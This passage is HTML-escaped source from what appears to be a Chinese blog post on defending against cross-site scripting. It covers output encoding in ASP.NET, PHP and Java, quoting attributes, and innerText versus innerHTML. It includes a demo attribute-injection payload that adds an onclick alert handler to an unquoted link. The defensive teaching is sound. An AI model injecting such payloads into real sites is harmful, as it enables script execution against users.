padding-left: 0px; "&gt;TestString&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;);&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Server&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;UrlEncode&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Request&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Url&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;ToString&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;());&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;&lt;tt style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;PHP&lt;/tt&gt;的htmlspecialchars方法：&amp;nbsp;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0007; font-weight: bold; font-style: italic; background-color: #0f140f; "&gt;&amp;lt;?php&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; "&gt;$new&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;htmlspecialchars&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"&amp;lt;a href='test'&amp;gt;Test&amp;lt;/a&amp;gt;"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;ENT_QUOTES&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;);&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;echo&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; "&gt;$new&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;;&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #008800; font-style: italic; background-color: #0f140f; "&gt;// &amp;amp;lt;a href='test'&amp;amp;gt;Test&amp;amp;lt;/a&amp;amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0007; font-weight: bold; font-style: italic; background-color: #0f140f; "&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;&lt;tt style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;JAVA&lt;/tt&gt;中的java.net.URLEncode.encode：&lt;/p&gt;&lt;div dir="ltr" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;String&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;mytext&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;java&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;net&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;URLEncoder&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;encode&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"中国"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"utf-8"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;有些网站使用过滤javascript关键字的办法来防止XSS，其实是很不明智的，因为XSS有时候根本就不需要javascript关键字或者对javascript关键字进行格式变化来躲过过滤。&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;为所有的标记属性加上双引号。应该说这也不是万全之策，只是在转义了双引号的前提下的一道安全保障。比如：&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;不加双引号时，onclick被执行了：&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;a&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;href=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;http://www.xxx.com/detail.asp?id=2008&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;onclick=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;'javascrpt:alert('&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;haha&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;')'&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;加上了双引号，onclick不会被执行：&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;a&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;href&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"http://www.xxx.com/detail.asp?id=2008 onclick='javascrpt:alert('haha')'"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;将数据插入到innerText属性中，脚本将不会被执行。如果是innerHTML属性，则必须确保输入是安全的。如ASP.NET中：&lt;div dir="ltr" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;%&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;@&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Page&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Language&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"C#"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;AutoEventWireup&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"true"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;%&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;html&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;body&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;span&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;id&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"Welcome1"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;runat&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"server"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;/&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;span&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;span&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;id&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"Welcome2"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;runat&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"server"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;/&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;span&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;/&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;body&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;gt;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 